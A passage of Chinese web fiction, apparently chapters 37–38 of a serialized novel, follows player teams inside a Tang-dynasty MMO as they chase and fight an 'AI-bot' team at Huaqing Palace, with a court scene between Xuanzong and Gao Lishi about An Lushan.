仇非微微颔首,又拿起一颗白子,径直放在了黑子的右边,棋盘上,两颗白子正一左一右地将黑子夹在中间。 “难道他和我们一样,在中区有队友?”祁云纵看仇非的动作,若有所思,也从棋堆里摸了一颗棋子出来,掂在手心里抛着玩,疑道,“打伤伏明,是给队友的提示?” “我觉得这是最有可能的。”仇非说,“起码龙池乐就在中区……不过这提示,也不一定就是给她的。” 几人正说话,外面忽然传来一阵喧嚣,仇非听了一会儿,便问:“对了,今天下午内城的人似乎格外多,是有什么事么?” “哦,好像是温汤监的人去各个殿里送食材来着。”同属六尚局,祁云纵还是比较清楚的,“他们在筹备梨园宴,有些摘了用不上的、比较次的瓜果就分了,功德院和太医署刚刚都分到了,这会儿应该是抄中区的近路,在往梨园那边送吧。” “我记得,好莱坞队的卫山河就是温汤监的管事,那个官职就叫温汤监。”行守道,“不过之前往功德院送水果的时候我问过了,卫山河这次没来——” 他话还没说完,外面忽然又是一阵更大的喧嚣,人声鼎沸、一片混乱,有宫女高声尖叫:“有刺客!” 三人都是一惊,迅速往门口看去,祁云纵手里还拿着一颗棋子,此刻也顾不上了,随手就往桌上一扔。 那边,行守已经随手拦住一个路过的宫女,先唱了句佛便直奔主题:“发生什么事了?” “不知道啊!”宫女怀里还抱着一筐新鲜瓜果,惊魂未定,“本来我们走得好好的,路过那边的花丛时忽然就多出了一个人来把队伍冲散了,我看那人手里还提着刀呢!” “是刺客?”行守装傻,“那人呢?” “那刺客有功夫的,一眨眼就跑了呀!”宫女心有余悸道,“真是吓死了,怎么会凭空多出一个人来呢!” 果然,仇非伏在月门边暗地观察,心道,那无方果然有队友在中区,而且反应极为迅速。 “哎?”宫女忽然一愣,四处转头,开始找人,“空山呢?刚刚她还在我身边的。” 听到少了人,三人心中都是一凛,知道这时候失踪的人八成就是去追伏明的玩家了,祁云纵立刻胡言乱语道:“哦,你是说刚刚那个和你穿得差不多的人么?我看她吓了一跳,被扶去一边休息了。” 游戏设计中,NPC还是很单纯的,宫女听他这么说立刻便信了:“的确是吓人,我也要找地方坐会儿去,估计等下就有大人要找我问话了。” 如她所说,这时候,已经有大批金吾卫闻声赶来,朝宫人指的“刺客”消失的方向集结赶去。看样子,那“刺客”是准备一路穿过中区和东区,从开阳门逃出宫城。 祁云纵眼尖,一眼在众多金吾卫中发现了柳七刀这个骑曹参军事,赶紧溜回功德院中。仇非已经等在门边,看他回来,就将一个纸团拍在他手里,而祁云纵拿到纸团,立刻就朝金吾卫的队伍追了过去。 反正人多眼杂,一个医博士混在其中倒也说得过去,行守远远地就看到他趁乱将纸团塞给了一头雾水的柳七刀,功成身退。 “厉害,你们有配合的啊。”他不禁感叹。 “习惯了。”仇非道。说到配合,那剩下的一队玩家显然也很精于此道,那边无方发难,这边的玩家立刻就能跟上,显然他们也是知道,两人都在中区的机会极其难得,不想放过伏明。 ——梨园宴的剧情还没开始,没想到人机和玩家就已经正式开战了。那队玩家倒也是胆大,实在豁得出去,竟然直接在宫城之中就动起手来。 仇非想着,无意中却看到了桌上的五子棋盘。 那先前被祁云纵随手乱扔的棋子,竟然是一颗黑子。现在,这颗黑子不偏不倚,正好落在了原本的那颗黑子旁边,还把白子撞歪了一些,原本排布好的局面顿时被打乱了。 她忽然想到了一个此前就注意过的问题。 “伏明……” 他之所以直奔中区,本来是要来做什么的呢? 37. 第五天·华清宫(三十七) 凉亭里,亓秀秀一边吃瓜,一边看着不远处乐师台上的舞蹈排演。 瓜是温汤监刚送来的新鲜甜瓜,瓤若白玉,清甜可口,正巧谢不若的鹦鹉在这歇脚,亓秀秀特地也给它切了一小块瓜,让它能小口小口地啄着吃。 瓜很甜,但看完鹦鹉递过来的情报之后,顿时就变得索然无味了。 她的双眼还注视着乐师台上的舞伎们,心却已经飘回了第二天的绥梦山。 就算是已经过去这么久,她偶尔还是会梦见那时候发生的事,每次梦到,必定夜半惊醒。幽暗的洞窟、黏腻的蛛丝,黑暗中幽幽亮起的鲜红巨眼,令人毛骨悚然的吮吸声,无论何时回想起来,都无比清晰。 亓秀秀经常会想,如果他们那时候能够早点看穿幻境,早点醒过来,是不是还能救下在同一个洞窟的那些玩家? 可是这世界上,本来也没有那么多如果。 这条情报,她是和师襄、尹有攸一起看的,刚看完,另外两个人就被叫去排演了,曲小蕨也不在,只剩她这个代教习的“关系户”师妹继续坐在凉亭,想找人聊一聊第二天的事,都无人可找。 梨园是这条情报链的最后一站,亓秀秀轻声叹了口气,摸了摸鹦鹉的小脑袋,对它道:“歇好了就回去吧,谢不若那边还在等你呢。” 鹦鹉已经将那小块瓜皮啄得坑坑洼洼,闻言拍拍翅膀,道了声“好嘞”,就飞上了墙檐,顺着两排鸳鸯瓦蹦蹦跶跶地跳远了。 “好!” 另一边的乐师台上,英怀珠轻轻拍手,“这遍不错,继续保持!” 师襄停下手,一按琵琶还在不停颤动的弦,抬头看了看天色。 日已西斜,冬季天黑得早,估计一会儿就要点上灯了。过了今晚,明日,除了天子所在的中区大殿,整个华清宫将全力投入到梨园宴的举办之中,从早到晚,这地方将可谓是不得安宁,今夜是最后一个能够好好休息的机会。 她这边的乐师队伍很快散了个干净,另一边的舞伎们许是还要再跳一会儿,围成一团,迟迟没有散开。师襄扫了一眼,发现尹有攸也在其中,这会儿倒是没穿那水粉色的舞裙了,而是换了身胡旋舞的裙装,半身祥龙云纹格外醒目,偏偏周围一圈姑娘对此视而不见、神色如常,场面一时间极为诡异。 英怀珠还在与他们说着什么,外头忽然传来一阵喧闹,众人闻声转头,便看见是一队金吾卫纵快马疾驰过去,顿时神情均变得有些奇怪。 华清宫内不得策马,眼下显然是出了什么事情。 亓秀秀本来刚要走过来,此时见情况不对,也有些犹疑地停下脚步,这时候,又有一批金吾卫涌了进来。 为首的队长径直朝英怀珠走过去,简单寒暄过后便严肃问询道:“代教习,可有人闯入梨园?” 虽然压低了声音,但众人站得近,还是一字不漏地听清楚了,顿时便有窃窃私语之声在人群中蔓延开来。 英怀珠略一摇头,和那卫队长走到另一边去详谈,其他金吾卫便分散开来,走向偌大梨园的各院各楼,似乎要搜寻什么人一样。 本来聚作一群的舞伎此时也各自散开,尹有攸随便找了个角落坐下,看似发呆,实际上全神贯注地听着身后传来的对话。 “怎么回事?”亓秀秀走到他身边,小声问。 “有人潜入,他们追丢了。”尹有攸边听边给她转述,“那人应当是武林中人,有点功夫,大概已经从开阳门逃出了宫城,但为了确保安全和梨园宴的顺利举行,还是要详细搜查宫内的各个角落。” 那边,英怀珠又问:“潜入者可有伤人?” 尹有攸侧耳听了一会儿,给亓秀秀复述:“没有伤人,只是突然暴起,惊到了几个温汤监的宫女。刺客藏匿的花丛有零星血迹洒落,但无人受伤,应该是那人自己的血。发现潜入者时,中区正是人多的时候,现场十分混乱,没能第一时间将他拦住,后面等离得近的金吾卫赶过去时,人已经跑没影了。” 除此之外,两人的对话中就只剩一些注意安全的嘱咐了,尹有攸没再听到更多有用的信息。那队金吾卫似乎短时间内也不打算离开,看样子,是准备一直留在梨园了。 “没想到还会出这样的事。”亓秀秀皱眉道,“潜入者……该不会是玩家吧?” 按照游戏里华清宫这个本的剧情,直到梨园宴开始才会有玩家入场,在这之前便莫名出现的“潜入者”,怎么想也不能是NPC,而且那个潜入者逃脱的描述,真的很像是拉脱了一群红名怪。 她又朝乐师台看去,师襄在那里收拾着面前的各类乐器,皱着眉,一副沉思的模样,不知道在想什么。 这会儿,天已经黑了,华清宫各区各殿的灯依次点亮,想找到潜入者无疑是变得更加困难。宫墙之外一片喧嚷之声,想来是各卫队正在集结,亓秀秀有心想出去看一眼,但那队驻扎梨园的金吾卫死死把着门,她一时间也想不到什么借口。 就在这时,尹有攸突然一愣。 “听到什么了?”亓秀秀看他表情,便问。 没了云幕遮之后,他们的交流顺畅多了,这丐帮的表情变化几乎都写在脸上,非常好懂。 “柳七刀来了。”尹有攸道。 听交谈声,他是从开阳门外回来的,看来是加入了追捕潜入者的队列之中。 尹有攸宛如无线电台,流畅播报他收到的各类消息:“他带的队伍没追到人,先行回防。天子已经知道这件事了,派了千牛卫驻守宫外,彻夜追查。” 他话音刚落,柳七刀便从外面进来了,手里还提了盏宫灯。 这几天,他也找准了自己的角色定位,在守门的金吾卫的注视下走得无比淡然,一副来巡视的样子,看着还有那么几分威严,先是装模作样地来回看了几圈,随后便直奔亓秀秀和尹有攸这里而来。 “出大问题!”柳七刀一开口就原形毕露,“那个潜入者是人机队伍的明教!人机和那一队玩家打起来了!” “细说。”亓秀秀做了个噤声的手势,三个人左顾右盼,找了个没人的凉亭蹲着,顺便把刚走下乐师台的师襄拽了过来一起听。 柳七刀于是如此这般,将事情的经过细细说了一遍,又道:“那个追着伏明出去的玩家胆子也太大了,而且他们俩都是有点操作的,蹑云扶摇各种小轻功避着人跑,NPC追不上,所以这一路上还真没有人看清他们的脸。” “那她现在回来了么?”亓秀秀问。 “这就是大问题所在!”柳七刀说,摇曳的灯光映在他脸上,显得格外严肃,“我队友在帮她遮掩,但亥时宵禁,她如果不回来的话,就要惹上大麻烦了。再一个就是,现在千牛卫的精英已经被派往宫城外了,如果他们的打斗被千牛卫撞见了,也是违反规则的。” “哎……”亓秀秀愣了一下,转头看尹有攸,“说到千牛卫,我记得你的队友……?” 唐逐星拍掉手上的泥土,站起来,往不远处的宫城看了一眼。 今夜风大月明,半点云霭也无,月光明晃晃地洒下来,照在摇动的松枝上,显得入夜后的骊山越发冷清萧索,和灯火灿烂的华清宫对比十分鲜明。 天子令下,千牛卫无功不返,估计今夜,他都要在山里度过了。 从讲武殿紧急出发的路上,曲小蕨从行守那拿到了一手情报,火急火燎地赶过来通知他。那追着伏明跑出来的玩家很好找,在温汤监的人员名单里一查便知道,是个叫纪空山的姑娘。她的举动看似异常鲁莽大胆,但本人应该是非常机敏且缜密的,这一路上甚至都没有宫人能意识到她追着伏明跑出去了,就很厉害。 ——不只是她很厉害,他们队那个一起动了手的无方玩家也挺厉害的。 那个无方玩家和柳七刀一样,隶属于金吾卫,只是没有官职。他们卫队的负责范围仅限于缭墙到宫墙这一段,潜入者出现在中区,无论怎么看也跟他们无关,所以除了一部分倒霉蛋被紧急抽调走、加值,大多数人还是正常休班。 唐逐星走之前留了个心眼,悄悄一查,果然发现这一批留下来的金吾卫中少了个人。 这个人叫商陆,他既不在被紧急抽调的金吾卫中,也不在讲武殿里。 显然,商陆就是那个无方,换班之后,他也悄悄地离开了华清宫,去找自己的队友了。 这两个人不仅胆子大,一路上甚至还将他们留下的脚印全都处理掉了,只不过时间紧迫,大概也只是用松枝粗略地扫去了表面一层浮土,仔细检查的话,还是能分辨出泥土紧实程度的差别的。唐逐星一边追查,一边顺手就把这些脚印再度毁尸灭迹,以免有别的同僚发现异常,也追过来。 今天好巧不巧,偏偏是个大风天,呼啸的冷风穿梭在山林之间,嘶声尖利,林海翻涌,淹没了大多数声音,根本听不到哪里有打斗之声,如果尹有攸在这,说不定还能有点奇效。 他娴熟地用靴尖抹去最后一个脚印,转过身来,看着面前一片漆黑的山岭。 追到这儿其实也就差不多了,面前只剩下一条路,就是进山。 东绣岭地形崎岖、草木茂密,对于喜欢绕背的明教来说施展不开,打斗起来其实很不方便,当然,无方同样也占不到什么好处,不过全技能2v1的话,显然还是玩家队这边更有优势。 唐逐星皱起眉头,拨开横在面前的树枝,抬脚跨上了岩石。 除了明教和无方,他也不喜欢这个地形。虽然山深林密有利于隐匿,但从鲸鱼的角度来看,山里太容易卡视角,有高度差的地方也多,无论是拉盘子还是隐身都容易受限制。 明明再忍一天,等到梨园宴举办,就能找到剧情上的突破口了,这两个人却在发现明教的时候就那么坚决地追了出去,感觉似乎和这一支人机队伍有着什么深仇大恨一般。 他不再多想,吹亮火折子,开始寻找起他们留下的蛛丝马迹。 地上满是落叶枯枝,杂草丛生,土粒干结,很不容易留下痕迹。他四处勘察了大概得有两盏茶的工夫,才在一棵松树横生的枝干上看到了一缕衣服的碎片。 这碎片既不是宫装也不是金吾卫的官服,倒像是明教校服的兜帽,上面还沾着星星点点的血渍,显然,在这场追逐战中,还是花间与无方占了上风。 唐逐星将碎片取下来,知道两个玩家应该是没有大碍,心里或多或少也算是松了口气。 再往前,痕迹就变得更明显起来,那受伤的明教显然有些慌不择路,在树林中奔跑,撞断了好几根树枝,地上也留下了断断续续的血迹。 远处隐约传来巨大的水声,再向前,就要深入到东绣岭的腹地之中了,那里是一处小山谷,从峰头垂下的瀑布流经其间,即使是冬季也水源丰沛、不曾断绝。 最重要的是,那里已经没有路了。 唐逐星从小队背包中取出螭首千机端在手里,放轻脚步,缓慢地接近山谷。不多时,他便从瀑布的水声中隐约听到有人交谈的声音。 说话的是个年轻姑娘,应该就是纪空山了。话里面具体的内容听不清,但她的声音有些尖锐,显然饱含了极大的愤怒。唐逐星循声看去,果然就看到在那瀑布流下来形成的水潭之前,站着两个人,想来他们就是纪空山和商陆,而在二人面前的岩石上,一个明教打扮的人倚坐在那里,垂着头,两柄弯刀一柄掉落在脚边,另一柄被纪空山提在手里。 他走得近了,就看见纪空山提着弯刀的手正在颤抖,不知道是由于愤怒还是胆怯或激动。 “伏明。”她说,每个字都似乎是从喉咙深处带着血挤出来的一样,“只要见到你和你的队友,无论多少次,我都会亲手杀了你们。” 伏明显然已经受了伤,鲜血从他的腹部不断洇出来。听到纪空山的话,他的反应也不大,只是低低地笑了一声,似乎并不在意。 “这么生气啊。”他说,声音有点沙哑,“我猜猜,我队友把你队友杀了?” 弯刀抵在他的喉间,划破了皮肤,留下一道浅浅的血线,商陆转头看了一眼纪空山,轻轻地按了一下她握刀的手。 听到这里,唐逐星大概也知道发生过什么事了。他无声地叹了口气,抱着螭首千机转过身,看着高悬的残月。 夜深月明,风冷涧肃。寒冬的山风凛冽刺骨,吹一吹,就让人感觉凉透了。 忽然,一阵扑棱棱的声音传来,唐逐星闻声看去,发现有只鹦鹉落在了他旁边的树梢上。 那边,商陆冷冷地问:“你的队友,兰瑾和云流岚都在哪里?” “厉害,你们知道的还挺多。”伏明轻轻咳了两声,笑道,“告诉你们也无妨,兰瑾就在华清宫呢。” 这只鹦鹉收起翅膀,微微侧头,用小斗笠下黑而亮的眼睛漠然地看着唐逐星。 唐逐星神色一厉——这并不是谢不若的鹦鹉! 他几乎是瞬间就端起螭首千机转过身去,便听见伏明轻声道:“云流岚……他不就在这儿么。” 话音刚落,刹那间,数道寒光从瀑布之后袭来,刀势之盛,几乎将奔腾的水流拦腰斩断! 没人能想到,瀑布后面还能悄无声息地藏着一个人,这锋芒毕露的一刀裹挟在水雾中铺面斩来,纪空山和商陆完全没有防备,两人一惊之下各自向后撤去,但也是躲闪不及,身上顿时被刀气刮出几道伤口。 就看见一道黑影破水而出,那叫做云流岚的刀宗右手已然收刀横于身后,左手携一股浑厚巨力挥出,正是一式洗兵雨! 缴械之后,他的动作更是没有丝毫停顿,单手持刀变招,直直地向商陆竖劈而来! 电光石火之间,只听一阵伴随着厉风的尖锐破空声,那充满杀意的一刀并没有落下,而是硬生生在半空中被阻挡了去势,云流岚脚下踉跄几步,竟是往后退出了大段距离。 他微微侧过头,看了一眼掉落在脚边的弩箭。 那边,纪空山和商陆也是反应极快,不过几秒,两人都已经捡起了各自的武器。 即使忽然多了一个刀宗,他们看起来也丝毫没有撤离的打算,趁云流岚被击退时,起手便是快雪时晴接上钩吻断肠,瞬发打出高伤害的同时挂上了逆乱持续,一击结束,二人作为内功玩家,都是迅速后退,与外功刀宗拉开一定的距离。 没想到云流岚不躲不闪,一声闷哼,竟然硬是扛下了这波伤害。与此同时,他调整姿势,改用双手持刀,侧过身体,似乎正在蓄力。 刀宗唯一一个需要读条的技能就是怒锋倾涛,在造成高伤害时附带无视减伤的效果,是很难正面接下来的。纪空山神情一肃,判官笔在手中急转,当即便是一招厥阴指,势必要打断怒锋倾涛的读条,而唐逐星的梅花针也在此刻后发先至! 然而让人没想到的是,这两个技能都打了个空,云流岚仅仅只是虚晃一枪,实则一手扶起伏明,驰风八步迅速后翻,趁二人被后撤时的刀气逼退,竟是隐入了瀑布之中。 严阵以待的三人都是一愣,商陆迅速蹚进水里,上前几步,便看见那瀑布后竟然还有一条风蚀出来的羊肠小道,通往东绣岭更深的腹地之中。显然,刚刚云流岚也是通过这条小道埋伏在瀑布之后的。 他显然比一直驻扎在华清宫中的玩家更熟悉地形,此刻树影重重,二人已经不知去向。 “虚张声势!”纪空山恨恨地攥了下拳,“他原本就只想着把伏明救走!” 商陆道:“没事,他们都受了伤,人机手里没有药品,应该也翻不出什么风浪了。” 纪空山闻言,略有不甘地点了点头,便转身看向树林。 商陆跟着她的动作也看过去,扬声道:“哪一队的朋友?刚才多谢了。” 唐逐星收了弩,从树后走出来。 他也不多话,简单的自我介绍后直接道:“追查潜入者一事已经被移交到千牛卫,所有金吾卫全部回防,你们最好在宵禁之前赶回华清宫。” 商陆微微一愣,道了声谢。 三人一同下山,在山脚下止步道别。唐逐星作为千牛卫,无功不返,还要在山里转悠上大半夜,直到“有所收获”才能回去。 分别之前,他们简单地交换了一下情报,伏明和云流岚都没看到唐逐星的脸,只知道树林里还埋伏着一个鲸鱼,在人机玩家不能伤害NPC的这条规则约束下,他的处境还算安全。 等纪空山和商陆回去之后,唐逐星甚至可以多叫几个同事一起,追踪一下瀑布之后的那条小道,既然两个人机玩家都已经受了伤,说不定能顺着血迹找到云流岚和伏明。 不过,看他们在对战中的表现,无论是反应还是思维都和真人玩家几乎没有什 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他已经熟练掌握了一门新技能——通过观察月亮来判断现在大概是几点。 半夜了,有的倒霉蛋还得在这里给封建主义打工站岗。 不知道打工人是不是都有着同样的怨气,那些金吾卫在巡察的时候闹出来的动静也不小,颇有一种干脆大家都别睡的感觉。不少乐师舞伎被闹得睡不着,干脆坐在院子里三三两两地抚琴闲聊,等着金吾卫们撤走。 师襄也在这群乐师之中。看起来,她似乎已经在乐师中有着不错的威信,不少小姑娘正围在她身边叽叽喳喳,她本人倒是很淡然,垂着眼睛,在给和她比较熟的那个小乐师纠正指法。 柳七刀和殷炽住得近,对师襄多少也有一些了解,知道这是个和仇非差不多的大佬,眼巴巴地也盯着她看——在第五天过了这么久,连人机都窜出来了,任务中要找到的“鬼”还不知道在哪,也不知道这些聪明人想到线索了没。 师襄察觉到柳七刀的目光,抬眼看过来,柳七刀赶紧冲她眨眼,试图连接脑电波。 脑电波连接失败,师襄面无表情地又扭过了头。 “柳哥。” 他手下的一名金吾卫走过来,“东边都查完了,没什么异常的,也没藏人。” 折腾了一下午加一晚上,这些NPC也累得够呛,柳七刀叹了口气,一挥手:“收队!” 想想全夜班的殷炽和还在山里吹冷风的唐逐星,他还算是比较幸运的了。 夜间的华清宫,除了小部分保卫天子安全的千牛卫就近住在中区,其他卫队都是要撤回到讲武殿的。在呵欠连天的宫人们的注视中,柳七刀带领的这一小队金吾卫离开宫城,穿过津阳门,正式离开华清宫的范围。 一出宫墙,柳七刀就听见他的同事们在后面悄悄八卦。 “有人偷偷入宫是大事,但是我怎么感觉查得一点儿都不严?” “这还不严?怎么,你晚上不想睡啦。” “难道潜入者跟那位有关?”有人说,“明天晚上——” “嘘!”立刻有人打断了他,甚至小心翼翼地看了柳七刀一眼,低声道,“这话都敢说,你不想要脑袋了?” 柳七刀余光看见他们的小动作,两眼一黑。 说啊!你倒是让他说完啊! 然而,被提醒的那人也一脸后怕,直说自己困糊涂了没管住嘴,便再不提这一茬了。 柳七刀痛失情报,偏偏还不能表现出来,毕竟连手下这些人都深谙宫廷秘辛,他好歹是个小芝麻官却对此一无所知,未免就有些离谱了,只得有些憋屈地同手下道别,回到住处。 可惜,就算是回到了住处,这里也没有能和他讨论线索的人——殷炽驻守中区看门去了,唐逐星还在山里打转,仇非是边将、住在西边,柳七刀想到根本接不上脑电波的师襄,泪往心里流,感觉自己好孤单。 窗外的寒风吹着矮树枝叶,不停地拍打着窗棂,柳七刀在榻上翻来覆去,就是睡不着。 只能寄希望于唐逐星他们能抓住人机玩家,找到点线索了。 他不知道,今夜和他一样睡不着的,还有谢不若。 不过谢不若和他不同,不睡觉纯粹属于是自愿加班,卷得津津有味。 这家伙所在的六尚局位于中区,离天子最近,自然是需要重点防卫的对象,就连他这个一把手宫正的居所都被严查了一遍,还好龙池乐早早地就离开了,不然还真没法解释。 刚得知有个潜入者的时候,谢不若也吓了一大跳,还以为是龙池乐在外面撞见的那个人机,但是听下面人描述,却似乎又不是同一个人。 他虽然不爱用脑子,倒也不是真的傻,结合情报想想就知道了,估计被发现的那个人机玩家,就是想来中区找龙池乐撞上的那个人机的,只不过半路被发现了,只得逃出华清宫。 ——这么多人机,这也不是华清宫了,这简直就是个筛子啊。 正巧金吾卫赶到六尚局了,谢不若眼睛一转,觉得这是个机会。 人机不是在查我么?现在轮到我查你了! 面对金吾卫,谢不若一口咬定,下午还真有一个鬼鬼祟祟的宫人出现在六尚局附近,问就是可疑,非常可疑,加大力度,一定要把他找出来! 正五品的官职,无疑为他提供了极大的便利,谢不若一声令下,金吾卫和尚宫局司簿等人立刻找来龙池乐,根据她的描述画了张那青年的画像,一同在六尚局内进行排查。 这会儿他不睡觉,便是在等下面的人来回报排查结果。 直到四更天时,顶着两个大黑眼圈的司簿终于前来回话了。 排查的结果并不尽如人意,六尚局、乃至整个中区,都没见到龙池乐遇到的那个人,他根本就不是中区的宫人。 然而,要将排查范围扩大到整个华清宫,那又有些太大了,谢不若的权力倒也没大到让金吾卫停下其他的事情全力追查他的怀疑对象的地步,要是按照目前的节奏来,等把华清宫筛完一遍,梨园宴都得结束了。 不过,这倒也在谢不若的意料之中。毕竟那队人机玩家据说聪明得很,也不太可能会被简简单单地筛查出来。 送走司簿,他立刻便对鹦鹉说:“记住刚刚那人的脸了吗?去找她,以后你就是她养的鹦鹉。” 鹦鹉:“……”你小子,够阴险的。 它不情不愿地拍拍翅膀,去追司簿的背影。 “哎,情报该传还是得传啊!”谢不若在它身后小声叫。 鹦鹉骂骂咧咧地飞远了。 谢不若根本不在乎鹦鹉的叛逆,一握拳——Nice!我可真是个天才啊! 希望人机玩家争点气,最好能顺着鹦鹉查到司簿头上,误以为她是玩家,直接动手,然后喜提淘汰! 他对自己的机智越想越满意,提着裙摆站起来,漫步踱到门边,就要关门准备休息,这时候却突然听到由远至近传来一阵马蹄声。 这马蹄声十分繁杂,大概有五六匹马的样子,到了中区月门处便停了下来,就听到几人翻身下马、牵马缓行的声音。 这会儿都四更了,还能在宫城中策马的,估计只有被天子派出去追查潜入者的千牛卫了。他记得谜语人离开浪客行队的唐逐星就隶属于千牛卫,但可惜自己是六尚局的人,不能主动接触前朝近卫,便只是微微掩上门,站在门边悄悄地看着。 但令谢不若意外的是,这队人马,似乎并不是千牛卫,他们的脚步声极其整齐而轻盈,一听就是有功夫在身上的,是可以媲美玩家的练家子。而在这些牵马缓行之人的前面,还有一个带头者,他的脚步格外沉稳清晰,听起来,有一种上位者的从容。 他还在奇怪,那队人已经穿过了月门,走入中区。听声音,他们竟然是径直朝天子所在的大殿走去,而不知为何,一路上站岗的监门卫与巡逻的金吾卫,均未加以阻拦。 宫正的居所位于六尚局最北,距离天子办公的处所最近,视野也最好,待这队人走得近了,谢不若定睛看去,却是大吃一惊。 他的站位已经算是隐秘,也半点动静没有发出,但为首之人依然若有所觉,淡淡地往他的方向看了一眼,灰白的长发被夜风吹起,露出一张冷峻而漠然的面孔。 38. 第五天·华清宫(三十八) 吧嗒一声,笔端凝结的一大团墨滴在纸上,将“陛下未寝”四个字晕染了大半。 方叱羽被这细微的声音惊醒,揉揉眼睛,低头看了一眼,将这一页撕了下来,重新铺好手札,继续写:“陛下未寝。” 他也不知道,为什么皇帝不睡觉、非得半夜爬起来在寝殿里干坐着,搞得他这个专门记录皇帝言行的起居郎也得跟着爬起来,在屏风后面打瞌睡。 都不需要掏出香篆钟,一旁的漏刻就明明白白地显示着,现在已经是四更之末,换算一下,大概是凌晨三点左右,他已经在这儿待命一个多小时了。 睡也不敢睡,走也不能走,是真正的度日如年。 好在这种煎熬也没持续太久,方叱羽便透过一旁半开的窗户,看到有一队人穿过前殿,走进了寝殿院中。 自从进入第五天以来,方叱羽见到的人穿着不是官服就是宫装,乍一看到这队人,他还以为自己睡着了没醒,是在做梦。 ——那是着装整齐如复制粘贴出来的一队校服凌雪,各个目不斜视、面无表情,进入寝殿的范围之后,便训练有素地各自散开,一会儿就隐入了黑暗之中,唯有为首之人步伐不停,径直朝寝殿走来。 方叱羽呆了一会儿才想起来,这里就是剑三的大唐,有凌雪阁是很正常的一件事。再看此时已经快走入寝殿正殿的人,灰白长发,紫红宫袍,不是骠骑大将军高力士,还能是谁? 他顿时来了精神,提起笔杆正襟危坐,便看到高力士一副风尘仆仆之色,似是连夜赶来,先在阶下正了正发冠,才缓步走进殿中。 高力士一来,原本殿内在玄宗左右伺候的宫人收到眼色,便鱼贯而出,低着头各自退下了。半扇屏风后面还剩个方叱羽,高力士淡淡地看了他一眼,倒是也没赶他走,径直对玄宗见了礼。 “臣听说,宫中有人潜入?千牛卫可曾将人擒住了?” 玄宗道:“早些时候的事了。适才有人回报,潜入者失足跌落东绣岭深谷,许是尸骨无存。” 这位已是花甲之年的帝王,尽管须发已白,看起来仍然十分威严。他缓缓向前倾身,语速很慢:“你觉得,是真是假?” 高力士并没有回答这个问题,而是俯首长揖道:“臣自京畿道入宫,带来阁中好手六人。” 随着他这句话结束,寝殿阶下,不知何时多了两名凌雪,一副待命的状态。 “是江湖人,不用你的人查。”玄宗意兴阑珊地摆了摆手,向后靠回到椅中,“交给千牛卫就行……既不是禄山的人,朕便不感兴趣了。” 高力士这才直起身来,微一抬手,那两名凌雪阁便默不作声地后退,再度消失在夜色之中。 “你可查清楚了,他真是自己前来的?”玄宗问。 “是。”高力士道,“安大人自范阳出发,轻车简从,唯所携家仆常伴左右,快马先入京城。后续三架车舆于昨日酉时一刻抵京,臣带人暗查过了,车上满载均乃平卢、范阳、河东三镇奇珍异宝,除此之外,再无其余伴行人马。” “朕就知道,禄山忠诚如此,安有反心?”玄宗朗声长笑道,“右相实属多虑,你去告诉他,此事朕听倦了,往后不要再提!” “陛下……”高力士却微微一顿,再度拱手道,“安大人虽无反心,但毕竟节度三镇兵马,边陲拥兵,古为大忌。况其所请无不允、所奏无不诺,威势日增,权名煊赫,不可不深思而熟虑啊。” 他说完这段话之后,寝殿之中便是死寂一般的安静。 方叱羽本来坐在屏风后面奋笔疾书,现在也停了笔,屏息静气,暗暗地听着。他当然知道安禄山会反,但如果唐玄宗听得进劝谏,对安禄山再起疑心,历史上也就不会出现安史之乱了。 现在,唐玄宗不发一语,殿中的空气宛如凝固,这阵沉默令方叱羽十分不适,有种呼吸困难的感觉。 “臣妄言。”短暂的僵持过后,高力士顿首下拜,长长一揖,“请陛下赐罪。” 玄宗语带不悦道:“起来吧。禄山若反,胆敢只身进京赴宴?难道是朕识人有错?” 随着他这句话出口,寝殿中的空气似乎才重新流动了起来,方叱羽擦了擦冷汗,把这一句也记上,想着抽空传给其他队伍看看。 高力士长拜不语,玄宗叹了口气,挥挥手:“想你也奔波半夜,下去吧。” “是。”高力士低头道,这才起身,慢慢向寝殿门口退去。 方叱羽本来以为这就要结束了,没想到高力士刚刚转身,玄宗冷不丁又开口发问。 “现在,你又是怎么想的呢?” 这位凌雪阁的内阁阁主在寝殿门口停下脚步。 他道:“人忠于亲,民忠于国,文武忠于社稷,臣忠于陛下。” 玄宗不发一语,高力士再拜告退,直起身来拍了拍手,先前撤下去的宫人侍从又有条不紊地涌回寝殿之中,服侍玄宗就寝。屏风后面,方叱羽将手札一合,归拢文房,松了口气,知道今夜就算是结束了。 眼看着玄宗在宫人的搀扶下转入后厅,他也站起来,锤了锤有点麻木的腿,转而看向寝殿门口。 高力士目送玄宗的身影消失在重重帘幔之后,微不可察地叹了口气,霜眉之下的双眼深幽难明。他转过身,微微停了一会儿,随后加快脚步,径直迈下了台阶,朝寝殿院外走去。 他的身形十分高大,月光在他身后留下一道长长的黑影,官袍伴随着快步行走时的风猎猎而动,竟显得有几分孤寂。 长夜将歇,曙光微明。 卯时,华清宫内宫门大开,换值的侍卫与宫人或进或出,熙攘不绝。 “小心一点,别磕了碰了!” 在不间断的高声提醒中,一辆辆载满名贵香料及凫雁玉雕的牛车缓缓驶入梨园东面的温泉区,甫一停稳,立刻便有人涌上前去,小心翼翼地从车上将那些香料美玉搬下来,交给一边等待已久的宫人清点,以作温泉池的装饰。 这才大清早,就这么忙碌,看来今天一整天都会是极为热闹的一天。 曲小蕨打着哈欠,把怀里抱着的一捧桃花枝挨个用糯米胶贴在牛车的车辕上做装饰。这些车晚些时候,是要出入内城、去接赴宴官员的,连拉车的牛看着都神采奕奕,起码比她这个只睡了几小时的打工仔有精神多了。 好不容易熬到换班休息,曲小蕨脚底抹油直奔功德院,一进门,就发现行守正在树下喂鸟。 晨光熹微中,大师眉眼沉静,面上带着一丝悲悯,注视着手上的鸟儿,乍一看是一副很有禅意的景象,但细看之下就能发现,被喂的鸟似乎有些不领情,紧紧闭喙,大有饿死不受嗟来之食的模样。 这是只戴着小斗笠的鹦鹉,在它的脚爪上有条绳子,另一端系着行守的手腕,断了它逃跑的可能。 “哪来的鹦鹉?”曲小蕨好奇道,“看着不像谢不若那只呀。” “早些时候唐逐星送过来的。”行守看它实在铁骨铮铮,有些遗憾地放下手中的粟粒,“人机刀宗的鹦鹉,他在山里顺手逮了。” “鸟质?”曲小蕨懂了,沉默了一会儿,说,“……但是我觉得,云流岚应该不会来救它。” “的确,离剧情开始只剩几个小时了,人机估计和我们一样,正忙得很。”行守出手如风,在被狠狠啄上一口之前以迅雷不及掩耳之势摸了摸这只鹦鹉的脑袋,“听唐逐星说,云流岚和伏明都受了伤,现在应该顾不上它了。” 